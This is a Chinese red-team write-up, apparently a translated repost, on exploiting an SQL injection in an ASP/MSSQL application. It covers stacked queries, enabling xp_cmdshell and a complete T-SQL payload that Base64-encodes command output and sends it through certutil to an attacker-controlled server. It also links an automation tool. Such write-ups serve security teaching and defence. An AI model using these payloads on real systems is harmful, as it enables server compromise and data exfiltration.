红队故事0x01:从MSSQL到命令执行

从一个MSSQL再到命令执行的思考。

背景介绍

红队识别出了一个易受SQL注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的方法绕过命令过滤策略,从而获得命令的输出。

应用过程

0x01、堆叠查询

其中所涉及的环境是一个使用Microsoft SQL Server作为数据库的ASP应用程序。

漏洞的发现

因为在插入单引号(‘)时,页面上会显示ODBC驱动程序缺少结束引号。多次尝试SQL查询或表达式(例如:使用“+”运算符连接),都是失败的,我们认为注入点是存储过程中调用的一个参数。为了验证这一点,我们尝试通过注入逗号来引入新的参数,这会因为参数过多而引起错误。

因为参数过多而引起错误

正如官方文档所规定的,存储过程的参数必须是常数或变量。因此我们无法使用典型的Union联合注入或盲注。替代方法:使用堆叠注入,默认情况下ASP/MSSQL是支持堆叠注入的。

堆叠注入

堆叠注入:在执行一次查询时,通过分号(;)字符分隔,执行两条或更多的SQL语句。因此,我们可以使用基于时间的盲注从数据库中获取到信息:

基于时间的盲注从数据库中获取到信息

但在这种情况下,Web应用程序没有权限查询更多的关键信息。因此我们继续研究别的方法,例如:命令执行。

命令执行

在MSSQL中,有一个常用的存储过程xp_cmdshell,它接收一个Windows命令,运行它并将结果以文本行的格式返回。但问题是,在这样的场景中,输出是永远不会被转储给用户,也就是说用户是看不到返回的结果的。因此,要验证命令是否正确执行,可以使用Windows中的默认实用程序: certutil.exe。

这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:

它是由Microsoft默认安装的二进制文件。

它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的代理)

它允许在Base64或十六进制中编码/解码。

在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。

';EXEC xp_cmdshell 'certutil.exe -urlcache -f http://example.com'

服务器上有一个User-Agent请求“CertUtil URL Agent

虽然最常见的是应用程序的用户没有权限来执行存储过程xp_cmdshell (默认禁用),但由于配置错误,我们可以激活它。在这种情况下,使用以下查询来激活:

exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; exec sp_configure 'show advanced options', 0; reconfigure;

EXEC sp_configure 'show advanced options', 1 ; reconfigure; EXEC exec sp_configure 'xp_cmdshell', 1 ; reconfigure;

至此, ,我们已经可以看到如何绕过命令过滤策略,获得命令的输出。

0x02、传送数据的加密/解密

此时,我们已经可以执行系统命令,并向我们控制的Wbe服务器发出HTPP/s请求。综合以上两点,我们就可以通过https://redteam/[informacion_code]来获取信息。

在这种情况下,我们选择Bsae64编码而不是十六进制,因为我们需要数据库允许我们以更少的字符存储更多的信息。

我们应该遵循以下几点:

1.声明一个“表”类型的变量,让返回的结果保存在存储过程xp_cmdshell中(记住,返回的结果是多行的)。

2.将命令的输出结果存储到上一个变量中。

3.连接“表”的SQL语句,用换行符分割。

4.将生成的字符串编码为Base64,并将其保存在一个变量中。

5.生成certutil命令,将字符串添加到结果中。

6.执行

在T-SQL中没有办法直接执行第三步和第四步,但有两个小技巧来解决这个问题:

无法使用MySQL的函数,因此所有字符串的连接都使用FOR XML子句。这样,就可以以单个字符串(XML)的形式获取数据。

SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('') -- Se concatena un salto de linea al final de cada fila - char(10)

另一方面,也没有方法直接将字符串转换为Base64,但可以将Base64转换成二进制数据。因此,解决方案是将之前的字符串转换成二进制数据:

SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64

实现这一编码,还有其他的选择,比如使用XQuery。

将所有的步骤放在一起就会发现和T-SQL十分的相似:

declare @r varchar(4120),@cmdOutput varchar(4120);declare @res TABLE(line varchar(max));insert into @res exec xp_cmdshell 'COMANDO';set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);exec xp_cmdshell @r;

在读取包含命令结果的表的过程中,我们需要考虑到排序规则。

Base64命令输出的请求文件

此外,在解码Base64时必须考虑到在Windows中命令的输出将以Unicode方式表示。

0x03、自动化

这个过程被我们成功的实现了一遍,所以我们可以让它自动化的执行。为此,开发了一种工具,它为用户提供了一个提示符。然后,它生成必要的负载来运行它,同时部署一个可以接收结果的web服务器。最后,自动解码并显示出来。

自动化工具

该工具的代码作为概念测试,可在以下链接中找到:https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

0x04、结论

我们已经看到,没有对外围资产进行关键的信息处理的结果,就是它让红队能够将其转变为目标的内部网络。因此,重要的是要考虑到对这种类型漏洞的过滤强化和预警,而不仅仅是对漏洞的定期审计

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180925G0CEBH00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券